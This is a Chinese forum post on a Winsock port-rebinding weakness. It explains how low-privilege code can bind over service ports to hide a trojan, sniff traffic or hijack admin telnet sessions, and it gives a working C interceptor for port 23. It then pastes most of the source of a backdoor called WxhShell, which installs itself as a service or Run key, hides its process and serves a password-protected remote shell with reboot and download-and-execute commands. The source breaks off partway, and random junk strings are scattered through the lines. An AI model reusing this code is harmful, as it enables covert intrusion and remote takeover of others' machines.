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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GH%'YY3|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bDdJh}Vz  
/EY ^ui  
  saddr.sin_family = AF_INET; XOl]s?6H$  
; n2|pC^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); YT;b$>1v  
Mwdh]I,#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .K![<e Z  
/'|'3J]HP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m35Blg34  
5ug?'TOj'  
  这意味着什么?意味着可以进行如下的攻击: Q(lj &!?1k  
|_l\.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UA4Q9<>~  
} g  WSV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U\S%Jq*  
?p{xt$<p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \jn[kQ+pJ  
<j1l&H|ux,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a,Gd\.D  
5,:tjn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s:Us*i=H,  
yjvH)t/!.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )c@I|L  
$[VeZ-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DQg:W |A  
l*[.  
  #include Oq{&hH/'}  
  #include 9IL#\:d1  
  #include 4!lbwqo  
  #include    iKB8V<[\T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +Q, 0kv  
  int main() LV:oNK(  
  { )>LQ{ X.  
  WORD wVersionRequested; t1HUp dHY  
  DWORD ret; `n8) o%E9  
  WSADATA wsaData; 8$avPD3jx  
  BOOL val; sg 12C  
  SOCKADDR_IN saddr; SdUtAC2  
  SOCKADDR_IN scaddr; *(ex:1sW  
  int err; ZTG*|  
  SOCKET s; ?uUK9*N  
  SOCKET sc; +3e(psdg  
  int caddsize; ]B>Y  +  
  HANDLE mt; k/nOz*  
  DWORD tid;   {! RW*B  
  wVersionRequested = MAKEWORD( 2, 2 ); s-r$%9o5  
  err = WSAStartup( wVersionRequested, &wsaData ); Ah)OyO6  
  if ( err != 0 ) { 'MKkC(]4  
  printf("error!WSAStartup failed!\n"); =Mq=\T  
  return -1; Tgp}k%R~  
  } R!xs;|]  
  saddr.sin_family = AF_INET; )!MeSWGq  
   L@?Dmn'v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HZ=Dd4!  
8?W!U*0aS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 87EI<\mP  
  saddr.sin_port = htons(23); );$Uf!v4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~BCSm]j  
  { pTZPOv#?Q  
  printf("error!socket failed!\n"); I/9ZUxQCyG  
  return -1; %" $.2O@  
  } zW%-Z6%D  
  val = TRUE; !m pRLBH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JGZ,5RTq4-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x Mtl<Na   
  { 7dX1.}M<(  
  printf("error!setsockopt failed!\n"); %iIryv;  
  return -1; u*[,W-R&  
  } KtHh--j`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D_O%[u}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I"3Qdi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n6WSTh  
]M{SM`Ya  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }Evyfc#D  
  { fl~k')s  
  ret=GetLastError(); V~5vVY_HG&  
  printf("error!bind failed!\n"); ))!Z2PfD  
  return -1; /woa[7Xe  
  } +IVVsVp  
  listen(s,2); H's67E/>*  
  while(1) 7&NRE"?G  
  { e~J% NU'&  
  caddsize = sizeof(scaddr); q=bJ9iJsq  
  //接受连接请求 U*/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .eXIbd<C  
  if(sc!=INVALID_SOCKET) | x{:GWq  
  { m&,d8Gss^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8,Yc1  
  if(mt==NULL) EBw}/y{Kt  
  { )aqu f<u@  
  printf("Thread Creat Failed!\n"); u4$d#0sA  
  break; ?TE#4}p|  
  } H1|X0 a(j  
  } X =S;8=N  
  CloseHandle(mt); gq[}/E0e  
  } 2DTH|Yv  
  closesocket(s); yt  C{,g>  
  WSACleanup(); dz5bW>  
  return 0; - J!F((jt  
  }   ]*juF[r(  
  DWORD WINAPI ClientThread(LPVOID lpParam) B/E1nBobC  
  { D8h ?s  
  SOCKET ss = (SOCKET)lpParam; }<FBcc(n  
  SOCKET sc; S7wZCQe  
  unsigned char buf[4096]; D.qbzJz  
  SOCKADDR_IN saddr; {_3ZKD(\  
  long num; uVDB; 6  
  DWORD val; 30FYq?  
  DWORD ret; RNoS7[&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,k{{ZP P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \I#lLP  
  saddr.sin_family = AF_INET; [ $.oyjd  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H|F>BjXn5  
  saddr.sin_port = htons(23); jY>KF'y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8<)[+ @$0  
  { k4pvp5}%  
  printf("error!socket failed!\n"); +ls *04  
  return -1; HJBUN1n  
  } nT|fDD|  
  val = 100; (' `) m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S?hM  
  { R9S7p)B  
  ret = GetLastError(); 0g]ABzTn  
  return -1; lDp5aT;DsM  
  } Fxv~;o#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jc;&g)Rv  
  { !Si ZA"  
  ret = GetLastError(); <6p{eGAQV  
  return -1; rVQ:7\=Z  
  } u9mMkzgSkP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /CKkT.Le  
  { "TtK!>!.  
  printf("error!socket connect failed!\n"); a+\ Gz  
  closesocket(sc); QHMXQyr(  
  closesocket(ss); ~DqNA%Mb  
  return -1; P; hjr;  
  } 3m7$$ N|  
  while(1) _PNU*E%s<  
  { O|7q,bEm^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Vize0fsD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3h 0w8(k;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FD_0FMZ9,  
  num = recv(ss,buf,4096,0); 0%F C;v0  
  if(num>0) ?\$77k  
  send(sc,buf,num,0); s.zH.q,  
  else if(num==0) F\-qXSA  
  break; ^N Et{]x  
  num = recv(sc,buf,4096,0); ]o,)#/' $  
  if(num>0) qcQ`WU{  
  send(ss,buf,num,0); X:8=jHkz  
  else if(num==0) 9IMRWtZWT  
  break; EW2e k^  
  } e;rs!I !Yw  
  closesocket(ss); *XtZ;os]  
  closesocket(sc); IA8kq =W  
  return 0 ; .s7/bF  
  } ,vg8iR a  
s%4)}w;z  
.fo.mC@a  
========================================================== YqNhD6  
CoJaVLl  
下边附上一个代码,,WXhSHELL \,p)  
/^/'9}7  
========================================================== webT  
*WMcE$w/D  
#include "stdafx.h" ?0'bf y]  
pk;bx2CP8  
#include <stdio.h> 0" R|lTYq  
#include <string.h> >@ H:+0h-  
#include <windows.h> 3: mF!  
#include <winsock2.h> qV iky=/-  
#include <winsvc.h> ^o?.Rph|i]  
#include <urlmon.h> K3 ]hUe#  
Ih,~h[  
#pragma comment (lib, "Ws2_32.lib") C:4h  
#pragma comment (lib, "urlmon.lib") Zls4@/\Q  
<PV @JJ"  
#define MAX_USER   100 // 最大客户端连接数 3%<ia$  
#define BUF_SOCK   200 // sock buffer BvX!n"QIb  
#define KEY_BUFF   255 // 输入 buffer +hXph  
zT_{M qY  
#define REBOOT     0   // 重启 -pqShDar|  
#define SHUTDOWN   1   // 关机 D"A`b{z  
OkzfQ hC}  
#define DEF_PORT   5000 // 监听端口 cE]tvL:g  
C=PBF\RkKu  
#define REG_LEN     16   // 注册表键长度 ;2dhue  
#define SVC_LEN     80   // NT服务名长度 {Qw,L;R  
IUu[`\b=  
// 从dll定义API qQpR gzw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $)7-wCl</  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p(0!TCBs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (''`Ce  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yRieGf1'SD  
B*D`KA  
// wxhshell配置信息 >DbG$V<v'  
struct WSCFG { ;Rwr5  
  int ws_port;         // 监听端口 Z71"d"  
  char ws_passstr[REG_LEN]; // 口令 yRvq3>mU  
  int ws_autoins;       // 安装标记, 1=yes 0=no OSkZW  
  char ws_regname[REG_LEN]; // 注册表键名 (#Y2H  
  char ws_svcname[REG_LEN]; // 服务名 ,HMB`vF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4qyL' \d[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8swj'SjX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2^ UFP+Yw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /6 P()Upe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^8V]g1]fiG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _|6{(  
JN3Oe5yB2@  
}; o"UqI  
PkG+`N  
// default Wxhshell configuration vaK$j!%FE  
struct WSCFG wscfg={DEF_PORT, rm"bplLZA  
    "xuhuanlingzhe", W*U\79H  
    1, AeUwih. 4  
    "Wxhshell", `?Y/:4  
    "Wxhshell", O 6A:0yM4  
            "WxhShell Service", &+*jTE  
    "Wrsky Windows CmdShell Service", '>`bp25>  
    "Please Input Your Password: ", pazFVzT  
  1, y!aq}YS  
  "http://www.wrsky.com/wxhshell.exe", Ah)7A|0rT  
  "Wxhshell.exe" WfO6Fvx%  
    }; IOIGLtB  
;TaT=%  
// 消息定义模块 H%])>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O'idS`   
char *msg_ws_prompt="\n\r? for help\n\r#>"; {W0]0_mI(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; % ;6e@U}  
char *msg_ws_ext="\n\rExit."; urog.Q  
char *msg_ws_end="\n\rQuit."; }"xC1<]  
char *msg_ws_boot="\n\rReboot..."; !T @|9PCp  
char *msg_ws_poff="\n\rShutdown..."; :5CwRg  
char *msg_ws_down="\n\rSave to "; M>T#MDK\(  
Gm>8= =c  
char *msg_ws_err="\n\rErr!"; %W`pTvF  
char *msg_ws_ok="\n\rOK!"; x%x[5.CT  
40q8,M  
char ExeFile[MAX_PATH]; `^w5/v#  
int nUser = 0; LClPAbr  
HANDLE handles[MAX_USER]; ?}lCS7&  
int OsIsNt; ]qv/+~Qs>  
?,s{M^sj^  
SERVICE_STATUS       serviceStatus; ^QFjBQ-Hai  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t3bDi/m  
y'E)iI*  
// 函数声明 !-2 S(8  
int Install(void); k92189B9j/  
int Uninstall(void); # <&=ZLN  
int DownloadFile(char *sURL, SOCKET wsh); t0?BU~f  
int Boot(int flag);  -JUv'fk  
void HideProc(void); yY,.GzIjCj  
int GetOsVer(void); YjG0: 9  
int Wxhshell(SOCKET wsl); [_H9l)  
void TalkWithClient(void *cs); $9ON 3>  
int CmdShell(SOCKET sock); B>~E6j7[Mp  
int StartFromService(void); bJ/~UEZw  
int StartWxhshell(LPSTR lpCmdLine); jkPXkysm  
T8qG9)~3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q7#Q6-Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ui1K66{  
-{P)\5.L  
// 数据结构和表定义 TWxMexiW  
SERVICE_TABLE_ENTRY DispatchTable[] = gk] r:p<O  
{ X\YeO> C  
{wscfg.ws_svcname, NTServiceMain}, ]`UJwq  
{NULL, NULL} Iem* 'r  
}; N 4,w  
u2U@Qrs2  
// 自我安装 f Z\Ev%F  
int Install(void) |/r@z[t  
{ ];Z_S`JR  
  char svExeFile[MAX_PATH]; N 8mK^{  
  HKEY key; /nC"'d(#  
  strcpy(svExeFile,ExeFile); I98wMV8  
zHx?-Q&3  
// 如果是win9x系统,修改注册表设为自启动 LU%g>?m.]  
if(!OsIsNt) { `D GO~RMp9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %*r P d>*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !TG"AW  
  RegCloseKey(key); 1uD}V7_y"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \>jK\j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iOD9lR`s  
  RegCloseKey(key); )fCl<KG*  
  return 0; Kk??}  
    } JXvHsCd?  
  } &=s{ +0  
} DpTQPu9  
else { TmUn/  
-98bX]8  
// 如果是NT以上系统,安装为系统服务 Y3-15:-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wV(_=LF  
if (schSCManager!=0) n}._Nb 5  
{ (r7~ccy4  
  SC_HANDLE schService = CreateService Q2k\8i  
  ( 7GPBn}{W  
  schSCManager, oTfEX4 t {  
  wscfg.ws_svcname, %7L'2/Y2x  
  wscfg.ws_svcdisp,   (+Er  
  SERVICE_ALL_ACCESS, Rhr]ML  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \w`Il"}V  
  SERVICE_AUTO_START, qnT:x{o  
  SERVICE_ERROR_NORMAL, NP|U |zn  
  svExeFile, .0s/O  
  NULL, 9^jO^[>  
  NULL, [c3hwogf:  
  NULL, SUvHLOA  
  NULL, .>H7i`1D`  
  NULL eJ?SLMLY  
  ); tb_}w@:kU  
  if (schService!=0) 6%:'2;xM  
  { Ou,B3kuQ+  
  CloseServiceHandle(schService); &Cdd  
  CloseServiceHandle(schSCManager); 67f#Z&r2k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ho\z ^w+T`  
  strcat(svExeFile,wscfg.ws_svcname); v'Lckw@G4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f5`exfdHE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s<^UAdLnl  
  RegCloseKey(key); 7] ~'8  
  return 0; B%r)~?6DM  
    } R':a,6 O  
  } aP4r6lLv+  
  CloseServiceHandle(schSCManager); N(F9vZOs  
} VpJ2Qpd=  
} GL (YC-{  
~Ilgc CF  
return 1; ;i,yT ?so  
} ,9q5jOnk  
BDcl1f T  
// 自我卸载 'JRkS'ay  
int Uninstall(void) "*TnkFTR  
{ =k0l>)  
  HKEY key; +fKLCzj  
==|//:: \  
if(!OsIsNt) { JqFFI:Q5a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z/a]oR@  
  RegDeleteValue(key,wscfg.ws_regname); *jDzh;H!w  
  RegCloseKey(key); >5XE*9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xf$,ra"  
  RegDeleteValue(key,wscfg.ws_regname); kbOo;<X9A  
  RegCloseKey(key); VE{t]>*-u  
  return 0; K4oLb"gB1  
  } 79S=n,O  
} ]Ub?Wo7F?  
} qzV:N8+,`  
else { |%TH|?kB  
-KO E2f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VIynlvy  
if (schSCManager!=0) !_zmm$bR  
{ L+d_+:w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y$% Ze]~  
  if (schService!=0) 4xg%OH  
  { MbjH\XRB  
  if(DeleteService(schService)!=0) { j >P>MdZtk  
  CloseServiceHandle(schService); dZ;cs c@xv  
  CloseServiceHandle(schSCManager); <!4'?K-N  
  return 0; vE&  
  } ?1?m4i  
  CloseServiceHandle(schService); -_A0<A.  
  } LD#]"k  
  CloseServiceHandle(schSCManager); {fk'g(E8([  
} p?5`+Z  
} E+[K?W5  
L# (o(4g2  
return 1; iv3NmkP1  
} p6I@o7f  
[ tm J6^s  
// 从指定url下载文件 V"\t  
int DownloadFile(char *sURL, SOCKET wsh) .y[=0K:  
{ WM*7p;t@)  
  HRESULT hr; qDL9  
char seps[]= "/"; H@ MUzV  
char *token; %'@&j2j>  
char *file; e|xRK?aVBu  
char myURL[MAX_PATH]; r@k&1*&  
char myFILE[MAX_PATH]; hb[K.`g  
!=eui$]  
strcpy(myURL,sURL);  ;-U :t4  
  token=strtok(myURL,seps); c1!h;(&  
  while(token!=NULL) FRX'"gIR0  
  { x!gu&AA<*  
    file=token; _f2(vWCW;J  
  token=strtok(NULL,seps); Smg,1,=  
  } q=g;TAXZl  
!J'BAq[x  
GetCurrentDirectory(MAX_PATH,myFILE); XG_ lyx%:E  
strcat(myFILE, "\\"); 6uR :/PTG  
strcat(myFILE, file); bi[vs|  
  send(wsh,myFILE,strlen(myFILE),0); JZ80|-c  
send(wsh,"...",3,0); *G2p;n=2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [ 98)7  
  if(hr==S_OK) zJXU>'obe  
return 0; dsrzXmE0  
else BTGPP@p4  
return 1; mI9~\k&9  
M>8#is(pV  
} #t po@pJsE  
VbJGyjx  
// 系统电源模块 I}$Y[Jve  
int Boot(int flag) n$B=Vt,  
{ c?j/ H$  
  HANDLE hToken; I@7^H48\  
  TOKEN_PRIVILEGES tkp; #.#T+B+9  
ZVk_qA%  
  if(OsIsNt) { M)( 5S1ndq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {N/(lB8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [y64%|m  
    tkp.PrivilegeCount = 1; ,7z.%g3+z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z[Uz~W6M]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0ir]  
if(flag==REBOOT) { ^JJ*pT:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ftu4 V*lD  
  return 0; *8t_$<'dQ  
} 0x[v)k9"0  
else { Rw=g g >\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fg^$F9@  
  return 0; ~Wf&$p<|  
} VuPa '2  
  } iO>2#p8$NR  
  else { +{4ziqYj  
if(flag==REBOOT) { $5s?m\!jZz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pma'C\b>  
  return 0; LoqS45-)  
} xW!2[.O5H  
else { ,*wa#[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3g^_Fq'  
  return 0; (Lp<T!"  
} ENr\+{{%  
} -Wb/3 X  
i4JqU\((]  
return 1; <TC\Nb$~  
} I Bo)fE\O  
~\6Kq`Y  
// win9x进程隐藏模块 x?y)a9&Hm  
void HideProc(void) Myg &H(~  
{ hL+)XJu^J  
)Gh"(]-<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v&(PM{3o  
  if ( hKernel != NULL ) 71Q-_Hi  
  { S[n ;u-U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3#!}W#xv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,W'`rCxJ  
    FreeLibrary(hKernel); ~C\R!DN,  
  } ,Hlbl}.ls  
Oc}4`?oy<O  
return; h2QoBGL5  
} @6~r7/WD  
+Vl\lL -  
// 获取操作系统版本 :&S6AP  
int GetOsVer(void) Cd?a C  
{ >WVos 4  
  OSVERSIONINFO winfo; < HlS0J9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l c?9B  
  GetVersionEx(&winfo); 7y""#-}V[r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N\1 EWi  
  return 1; :* 4b,P  
  else om@GH0o+  
  return 0; Z@4 BTA  
} 'avzESe~'  
S%uwQ!=O8  
// 客户端句柄模块 *9Ej fs7L  
int Wxhshell(SOCKET wsl) ]+@@{?0  
{ VJ8cls<  
  SOCKET wsh; lyc ]E 9  
  struct sockaddr_in client; @eU;oRVc{  
  DWORD myID; =]X_wA;%  
]|KOc& y:I  
  while(nUser<MAX_USER) zy^t95/m  
{ ecfw[4B`  
  int nSize=sizeof(client); G~b/!clN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i|?EgGFG  
  if(wsh==INVALID_SOCKET) return 1; ,UNCBnv1  
FZf{kWH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /@h)IuW  
if(handles[nUser]==0) efW<  
  closesocket(wsh); O10,h(O  
else #fk#RNt  
  nUser++; j?<>y/IR  
  } OE[| 1?3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tbG^9d  
k]K][[s`  
  return 0; %Bn"/0,  
} (1Q G]1q  
=BW;n]ls  
// 关闭 socket YflM*F`  
void CloseIt(SOCKET wsh) #X1iig+  
{ 9f1,E98w_  
closesocket(wsh); .K%1{`.|  
nUser--; Wwo'pke  
ExitThread(0); >|Yr14?7  
} *|n-Hr  
!:"$1kh1("  
// 客户端请求句柄 WD.td  
void TalkWithClient(void *cs) hilgl<UF  
{ c~ x  
jiw5>RNt  
  SOCKET wsh=(SOCKET)cs; moz*=a  
  char pwd[SVC_LEN]; `#J0@ -  
  char cmd[KEY_BUFF]; sa6/$  
char chr[1]; 4OX|pa  
int i,j; TC[(mf:8  
"Bn8WT2?  
  while (nUser < MAX_USER) { +OEqDXR+_  
nbd-f6F6  
if(wscfg.ws_passstr) { UaA1HZ1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K X0{dizZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nD#QC=}  
  //ZeroMemory(pwd,KEY_BUFF); QAN :  
      i=0; V&e 9?5@  
  while(i<SVC_LEN) { &}}UdJ`  
fib#)KE  
  // 设置超时 d!>.$|b  
  fd_set FdRead; 8);G'7O  
  struct timeval TimeOut; l5; SY  
  FD_ZERO(&FdRead); TQ hu$z<  
  FD_SET(wsh,&FdRead); P)D2PVD  
  TimeOut.tv_sec=8; 9W5~I9%  
  TimeOut.tv_usec=0; 'LC-/_g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X"hdCY%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f%ThS42  
naOCa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #^FDG1=  
  pwd=chr[0]; cl,\N\  
  if(chr[0]==0xd || chr[0]==0xa) { #M/^n0E  
  pwd=0; ?F=^& v8  
  break; L'A9TW2  
  } `|rF^~6(dR  
  i++; tRC*@>I$  
    } r3OR7f[  
vIzREu|5  
  // 如果是非法用户,关闭 socket esh7*,7-z*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gn?NY}.S  
} rm}%C(C{J  
Fi!BXngbd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ue8"_N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qnc?&f  
v~.nP} E^  
while(1) { ?Sj >b   
:)*+ aS"  
  ZeroMemory(cmd,KEY_BUFF); <y`M Upf]  
,;D$d#\"  
      // 自动支持客户端 telnet标准   Acix`-<  
  j=0; C srxi'Pe  
  while(j<KEY_BUFF) { 84U?\f@u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a*kvU"]  
  cmd[j]=chr[0]; `AcUxnO  
  if(chr[0]==0xa || chr[0]==0xd) { #];b+ T  
  cmd[j]=0; Ga$J7 R  
  break; NB^+Hcb$  
  } ojva~mnFf  
  j++; 4>t'4p6{  
    } on^m2pQ *p  
\>]C  
  // 下载文件 4it^-M  
  if(strstr(cmd,"http://")) { Ea,L04K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -xVp}RLT  
  if(DownloadFile(cmd,wsh)) -Z(='A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P$7i>(?(  
  else |d)*,O4s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Q4R*yRk  
  } ye^*Z>|  
  else { *"qS  
1-=ZIHW  
    switch(cmd[0]) { KkJrh@lk  
  93[&'  
  // 帮助 '$q=r x  
  case '?': { =:"wU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gVscdg5  
    break; je#OV,uHM  
  } !E@4^A80\W  
  // 安装 UURYK~$K:  
  case 'i': { v? Ufx  
    if(Install()) }mdk+IEt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,'Sj:l  
    else '_~qAx@F#c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^0tO2$  
    break; Kj{(jT  
    } xQ0.2[*5  
  // 卸载 B?gFFU61  
  case 'r': { @,^c?v  
    if(Uninstall()) V1-URC24vd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N|5fkx<d^  
    else CqVeR';2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wc HL:38  
    break; om oD +  
    } Rp0`%}2 o  
  // 显示 wxhshell 所在路径 asc Y E  
  case 'p': { ,j!%,!n o  
    char svExeFile[MAX_PATH]; cp_<y)__  
    strcpy(svExeFile,"\n\r"); Q8Fqf ;4  
      strcat(svExeFile,ExeFile); $a#-d;  
        send(wsh,svExeFile,strlen(svExeFile),0); Fm#`}K_  
    break; T0e- X  
    } f`vu+nw  
  // 重启 /$'|`jKsB  
  case 'b': { 5Y4#aq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4.e0k<]N`  
    if(Boot(REBOOT)) =THRy ZCH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1=L5=uz1d:  
    else { MUW&m2  
    closesocket(wsh); =kP|TR!o-  
    ExitThread(0); KD* xFap  
    } UFzC8  
    break; 80GBkFjV  
    } ?RPVd8PUhN  
  // 关机 3j7Na#<tL3  
  case 'd': { @#QaaR;4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `e[>S  
